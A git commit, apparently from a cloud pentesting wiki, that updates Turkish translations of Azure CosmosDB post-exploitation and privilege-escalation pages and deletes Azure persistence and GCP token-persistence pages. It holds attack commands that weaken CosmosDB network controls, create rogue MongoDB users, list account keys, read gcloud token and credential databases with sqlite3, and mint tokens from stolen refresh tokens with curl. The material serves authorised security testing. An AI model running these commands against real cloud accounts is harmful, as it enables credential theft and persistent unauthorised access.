Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az

This commit is contained in:
Translator
2025-02-20 23:14:42 +00:00
parent ed071a5a0d
commit 457a60a7f5
7 changed files with 75 additions and 199 deletions

File diff suppressed because one or more lines are too long

View File

@@ -142,7 +142,7 @@
- [GCP - Logging Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-logging-persistence.md)
- [GCP - Secret Manager Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-secret-manager-persistence.md)
- [GCP - Storage Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-storage-persistence.md)
- [GCP - Token Persistance](pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistance.md)
- [GCP - Token Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistence.md)
- [GCP - Services](pentesting-cloud/gcp-security/gcp-services/README.md)
- [GCP - AI Platform Enum](pentesting-cloud/gcp-security/gcp-services/gcp-ai-platform-enum.md)
- [GCP - API Keys Enum](pentesting-cloud/gcp-security/gcp-services/gcp-api-keys-enum.md)
@@ -458,8 +458,8 @@
- [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md)
- [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md)
- [Az - Logic Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md)
- [Az - MySQL](pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md)
- [Az - PostgreSQL](pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md)
- [Az - MySQL Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md)
- [Az - PostgreSQL Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md)
- [Az - Queue Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md)
- [Az - Service Bus Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md)
- [Az - Table Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md)
@@ -489,8 +489,8 @@
- [Az - Persistence](pentesting-cloud/azure-security/az-persistence/README.md)
- [Az - Automation Accounts Persistence](pentesting-cloud/azure-security/az-persistence/az-automation-accounts-persistence.md)
- [Az - Cloud Shell Persistence](pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md)
- [Az - Queue SQL Persistence](pentesting-cloud/azure-security/az-persistence/az-sql-persistance.md)
- [Az - Queue Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md)
- [Az - Queue SQL Persistence](pentesting-cloud/azure-security/az-persistence/az-sql-persistence.md)
- [Az - Queue Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-queue-persistence.md)
- [Az - VMs Persistence](pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md)
- [Az - Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md)
- [Az - Device Registration](pentesting-cloud/azure-security/az-device-registration.md)

View File

@@ -1,29 +0,0 @@
# Az - Queue Storage Persistence
{{#include ../../../banners/hacktricks-training.md}}
## Queue
Daha fazla bilgi için kontrol edin:
{{#ref}}
../az-services/az-queue.md
{{#endref}}
### Actions: `Microsoft.Storage/storageAccounts/queueServices/queues/write`
Bu izin, bir saldırganın depolama hesabı içinde kuyruklar ve bunların özelliklerini oluşturmasına veya değiştirmesine olanak tanır. Yetkisiz kuyruklar oluşturmak, meta verileri değiştirmek veya erişim kontrol listelerini (ACL'ler) değiştirerek erişimi vermek veya kısıtlamak için kullanılabilir. Bu yetenek, iş akışlarını kesintiye uğratabilir, kötü niyetli veriler enjekte edebilir, hassas bilgileri dışarı sızdırabilir veya daha fazla saldırıyı mümkün kılmak için kuyruk ayarlarını manipüle edebilir.
```bash
az storage queue create --name <new-queue-name> --account-name <storage-account>
az storage queue metadata update --name <queue-name> --metadata key1=value1 key2=value2 --account-name <storage-account>
az storage queue policy set --name <queue-name> --permissions rwd --expiry 2024-12-31T23:59:59Z --account-name <storage-account>
```
## Referanslar
- [https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues](https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues)
- [https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api](https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api)
- [https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes](https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,20 +0,0 @@
# Az - SQL Persistence
{{#include ../../../banners/hacktricks-training.md}}
## SQL
Daha fazla bilgi için kontrol edin:
{{#ref}}
../az-services/az-sql.md
{{#endref}}
### Yaygın Süreklilik Teknikleri
- SQL kimlik bilgilerini ele geçirin veya bir SQL kullanıcısı oluşturun (gerekirse SQL kimlik doğrulamasını etkinleştirin)
- Ele geçirilmiş bir kullanıcıyı Entra ID yöneticisi olarak atayın (gerekirse Entra ID kimlik doğrulamasını etkinleştirin)
- VM'de arka kapı (eğer SQL VM kullanılıyorsa)
- SQL veritabanına erişimi sürdürmek için bir FW kuralı oluşturun
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -3,7 +3,7 @@
{{#include ../../../banners/hacktricks-training.md}}
## CosmosDB Post Exploitation
SQL Veritabanı hakkında daha fazla bilgi için kontrol edin:
SQL Database hakkında daha fazla bilgi için kontrol edin:
{{#ref}}
../az-services/az-cosmosDB.md
@@ -11,13 +11,26 @@ SQL Veritabanı hakkında daha fazla bilgi için kontrol edin:
### `Microsoft.DocumentDB/databaseAccounts/read` && `Microsoft.DocumentDB/databaseAccounts/write`
Bu izinle, Azure Cosmos DB hesapları oluşturabilir veya güncelleyebilirsiniz. Bu, hesap düzeyindeki ayarları değiştirmeyi, bölgeleri eklemeyi veya kaldırmayı, tutarlılık seviyelerini değiştirmeyi ve çok bölgeli yazma gibi özellikleri etkinleştirmeyi veya devre dışı bırakmayı içerir.
Bu izinle, Azure Cosmos DB hesapları oluşturabilir veya güncelleyebilirsiniz. Bu, hesap düzeyindeki yapılandırmaları değiştirmeyi, otomatik failover'ı etkinleştirmeyi veya devre dışı bırakmayı, ağ erişim kontrollerini yönetmeyi, yedekleme politikalarını ayarlamayı ve tutarlılık seviyelerini ayarlamayı içerir. Bu izne sahip saldırganlar, güvenlik kontrollerini zayıflatmak, kullanılabilirliği bozmak veya ağ kurallarını değiştirerek veri sızdırmak için ayarları değiştirebilir.
```bash
az cosmosdb update \
--name <account_name> \
--resource-group <resource_group_name> \
--public-network-access ENABLED
```
```bash
az cosmosdb update \
--account-name <account_name> \
--resource-group <resource_group_name> \
--capabilities EnableMongoRoleBasedAccessControl
```
Ayrıca, hesapta yönetilen kimlikleri etkinleştirebilirsiniz:
```bash
az cosmosdb identity assign \
--name <cosmosdb_account_name> \
--resource-group <resource_group_name>
```
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write`
Bu izinle, bir Azure Cosmos DB hesabının SQL veritabanı içinde konteynerler (koleksiyonlar) oluşturabilir veya bunları değiştirebilirsiniz. Konteynerler verileri depolamak için kullanılır ve bunlardaki değişiklikler veritabanının yapısını ve erişim desenlerini etkileyebilir.
```bash
@@ -66,7 +79,7 @@ az cosmosdb keys regenerate \
```
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read`
Bu izinle, bir Azure Cosmos DB hesabındaki SQL veritabanı konteynerinde tetikleyiciler oluşturabilir veya değiştirebilirsiniz. Tetikleyiciler, işlemlere yanıt olarak sunucu tarafı mantığını çalıştırmanıza olanak tanır.
Bu izinle, bir Azure Cosmos DB hesabındaki SQL veritabanı konteynerinde tetikleyiciler oluşturabilir veya değiştirebilirsiniz. Tetikleyiciler, işlemlere yanıt olarak sunucu tarafı mantığını yürütmenizi sağlar.
```bash
az cosmosdb sql trigger create \
--account-name <account_name> \
@@ -79,7 +92,7 @@ az cosmosdb sql trigger create \
--operation All
```
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read`
Bu izinle, bir Azure Cosmos DB hesabındaki SQL veritabanı konteynerinde saklanan prosedürler oluşturabilir veya değiştirebilirsiniz. Cosmos DB'deki saklanan prosedürler, verileri işlemek veya doğrudan veritabanında işlemler gerçekleştirmek için mantığı kapsüllemenizi sağlayan sunucu tarafı JavaScript fonksiyonlarıdır.
Bu izinle, bir Azure Cosmos DB hesabındaki SQL veritabanı konteynerinde saklanan prosedürleri oluşturabilir veya değiştirebilirsiniz. Cosmos DB'deki saklanan prosedürler, verileri işlemek veya doğrudan veritabanında işlemler gerçekleştirmek için mantığı kapsüllemenizi sağlayan sunucu tarafı JavaScript fonksiyonlarıdır.
```bash
az cosmosdb sql stored-procedure create \
--account-name <account_name> \
@@ -119,52 +132,4 @@ az cosmosdb mongodb database create \
--resource-group <resource_group_name> \
--name <database_name>
```
### `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read`
Bu izinle, bir Azure Cosmos DB hesabında yeni MongoDB rol tanımları oluşturabilirsiniz. Bu, MongoDB kullanıcıları için belirli izinlere sahip özel roller tanımlamayı sağlar.
```bash
az cosmosdb mongodb role definition create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--body '{
"Id": "<mydatabase>.readWriteRole",
"RoleName": "readWriteRole",
"Type": "CustomRole",
"DatabaseName": "<mydatabase>",
"Privileges": [
{
"Resource": {
"Db": "<mydatabase>",
"Collection": "mycollection"
},
"Actions": [
"insert",
"find",
"update"
]
}
],
"Roles": []
}'
```
### `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read`
Bu izinle, bir Azure Cosmos DB hesabı içinde yeni MongoDB kullanıcı tanımları oluşturabilirsiniz. Bu, MongoDB veritabanlarına belirli roller ve erişim seviyeleri ile kullanıcıların sağlanmasını mümkün kılar.
```bash
az cosmosdb mongodb user definition create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--body '{
"Id": "<mydatabase>.myUser",
"UserName": "myUser",
"Password": "mySecurePassword",
"DatabaseName": "<mydatabase>",
"CustomData": "TestCustomData",
"Mechanisms": "SCRAM-SHA-256",
"Roles": [
{
"Role": "readWriteRole",
"Db": "<mydatabase>"
}
]
}'
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -11,7 +11,7 @@ SQL Veritabanı hakkında daha fazla bilgi için kontrol edin:
### (`Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read`) & (`Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read`)
Bu izinlerle, bir kullanıcıya sorgu çalıştırma ve veritabanına bağlanma izinleri vererek ayrıcalıkları artırabilirsiniz. Öncelikle gerekli izinler ve kapsamları veren bir tanım rolü oluşturulur.
Bu izinlerle, bir kullanıcıya sorguları yürütme ve veritabanına bağlanma izinleri vererek ayrıcalıkları artırabilirsiniz. Öncelikle gerekli izinler ve kapsamları veren bir tanım rolü oluşturulur.
```bash
az cosmosdb sql role definition create \
--account-name <account_name> \
@@ -43,12 +43,63 @@ az cosmosdb sql role assignment create \
--principal-id <principal_id-togive-perms> \
--scope "/"
```
### (`Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read`)&& (`Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read`)
Bu izinle, bir Azure Cosmos DB hesabında yeni MongoDB rol tanımları oluşturabilirsiniz. Bu, MongoDB kullanıcıları için belirli izinlere sahip özel roller tanımlamayı sağlar. Bunu kullanmak için RBAC işlevselliklerinin etkinleştirilmesi gerekir.
```bash
az cosmosdb mongodb role definition create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--body '{
"Id": "<mydatabase>.readWriteRole",
"RoleName": "readWriteRole",
"Type": "CustomRole",
"DatabaseName": "<mydatabase>",
"Privileges": [
{
"Resource": {
"Db": "<mydatabase>",
"Collection": "mycollection"
},
"Actions": [
"insert",
"find",
"update"
]
}
],
"Roles": []
}'
```
Azure Cosmos DB hesabı içinde yeni MongoDB kullanıcı tanımları oluşturabilirsiniz. Bu, belirli rollere ve MongoDB veritabanlarına erişimi olan kullanıcıların sağlanmasını mümkün kılar.
```bash
az cosmosdb mongodb user definition create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--body '{
"Id": "<mydatabase>.myUser",
"UserName": "<myUser>",
"Password": "<mySecurePassword>",
"DatabaseName": "<mydatabase>",
"CustomData": "TestCustomData",
"Mechanisms": "SCRAM-SHA-256",
"Roles": [
{
"Role": "readWriteRole",
"Db": "<mydatabase>"
}
]
}'
```
MongoDB içinde yeni bir kullanıcı oluşturulduktan sonra, ona erişebiliriz:
```bash
mongosh "mongodb://<myUser>:<mySecurePassword>@<account_name>.mongo.cosmos.azure.com:10255/<mymongodatabase>?ssl=true&replicaSet=globaldb&retrywrites=false"
```
### `Microsoft.DocumentDB/databaseAccounts/listKeys/action`
Bu izinle, bir Azure Cosmos DB hesabı için birincil ve ikincil anahtarları alabilirsiniz. Bu anahtarlar, veritabanı hesabına ve kaynaklarına tam erişim sağlar, veri okuma, yazma ve yapılandırma değişiklikleri gibi işlemleri mümkün kılar.
```bash
az cosmosdb keys list \
--name <account_name> \
--resource-group <resource_group_name>
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,90 +0,0 @@
# GCP - Token Persistance
{{#include ../../../banners/hacktricks-training.md}}
### Kimlik Doğrulanmış Kullanıcı Token'ları
Bir kullanıcının **mevcut token'ını** almak için şunu çalıştırabilirsiniz:
```bash
sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"
```
Bu sayfada **bu token'i gcloud kullanarak doğrudan nasıl kullanacağınızı** kontrol edin:
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#gcp
{{#endref}}
**Yeni bir erişim token'i oluşturmak için** detayları almak üzere şunu çalıştırın:
```bash
sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"
```
Ayrıca **`$HOME/.config/gcloud/application_default_credentials.json`** ve **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`** dosyalarında yenileme jetonları bulmak da mümkündür.
Yeni bir erişim jetonu almak için **yenileme jetonu**, istemci kimliği ve istemci sırrı ile şunu çalıştırın:
```bash
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
```
**Admin** > **Güvenlik** > **Google Cloud oturum kontrolü** bölümünde yenileme tokenlarının geçerliliği yönetilebilir ve varsayılan olarak 16 saat olarak ayarlanmıştır, ancak süresiz olarak ayarlanabilir:
<figure><img src="../../../images/image (11).png" alt=""><figcaption></figcaption></figure>
### Kimlik doğrulama akışı
`gcloud auth login` gibi bir şey kullanıldığında kimlik doğrulama akışı, tarayıcıda bir istem açacak ve tüm kapsamları kabul ettikten sonra tarayıcı, aracın açtığı http portuna bu gibi bir istek gönderecektir:
```
/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
```
Sonra, gcloud, bazı sabit kodlanmış `client_id` (`32555940559.apps.googleusercontent.com`) ve **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) ile **son refresh token verilerini** almak için durumu ve kodu kullanacaktır.
> [!CAUTION]
> localhost ile iletişimin HTTP üzerinden olduğunu unutmayın, bu nedenle bir refresh token almak için verileri yakalamak mümkündür, ancak bu veri sadece 1 kez geçerlidir, bu yüzden bu işe yaramaz, refresh token'ı dosyadan okumak daha kolaydır.
### OAuth Kapsamları
Tüm Google kapsamlarını [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) adresinde bulabilir veya bunları çalıştırarak alabilirsiniz:
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u
```
Bu betikle **`gcloud`**'un kimlik doğrulamak için kullanabileceği kapsamların hangileri olduğunu görebilirsiniz:
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope \r"
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
echo ""
echo $scope
fi
done
```
Bunu çalıştırdıktan sonra, bu uygulamanın bu kapsamları desteklediği kontrol edildi:
```
https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email
```
ilginçtir ki bu uygulamanın **`drive`** kapsamını desteklemesi, bir saldırganın kullanıcıyı bu kapsamla bir token oluşturması için zorlaması durumunda, kullanıcının GCP'den Workspace'e geçiş yapmasına olanak tanıyabilir.
**Bunu nasıl** [**istismar edeceğinizi buradan kontrol edin**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud)**.**
### Hizmet Hesapları
Kimlik doğrulaması yapılmış kullanıcılarla olduğu gibi, bir hizmet hesabının **özel anahtar dosyasını ele geçirirseniz**, genellikle **istediğiniz kadar erişim sağlayabilirsiniz**.\
Ancak, bir hizmet hesabının **OAuth token'ını çalarsanız, bu daha da ilginç olabilir, çünkü bu token'lar varsayılan olarak sadece bir saat boyunca geçerli olsa da, eğer **kurban özel api anahtarını silerse, OAuth token'ı süresi dolana kadar geçerli kalacaktır**.
### Metadata
ıkça, GCP ortamında çalışan bir makinenin içindeyseniz, **o makineye bağlı hizmet hesabına erişim sağlayabileceksiniz, bu da metadata uç noktasına ulaşarak mümkündür** (bu uç noktada erişebileceğiniz OAuth token'larının genellikle kapsamlarla kısıtlandığını unutmayın).
### Çözüm Önerileri
Bu teknikler için bazı çözüm önerileri [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2) adresinde açıklanmıştır.
### Referanslar
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1)
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
{{#include ../../../banners/hacktricks-training.md}}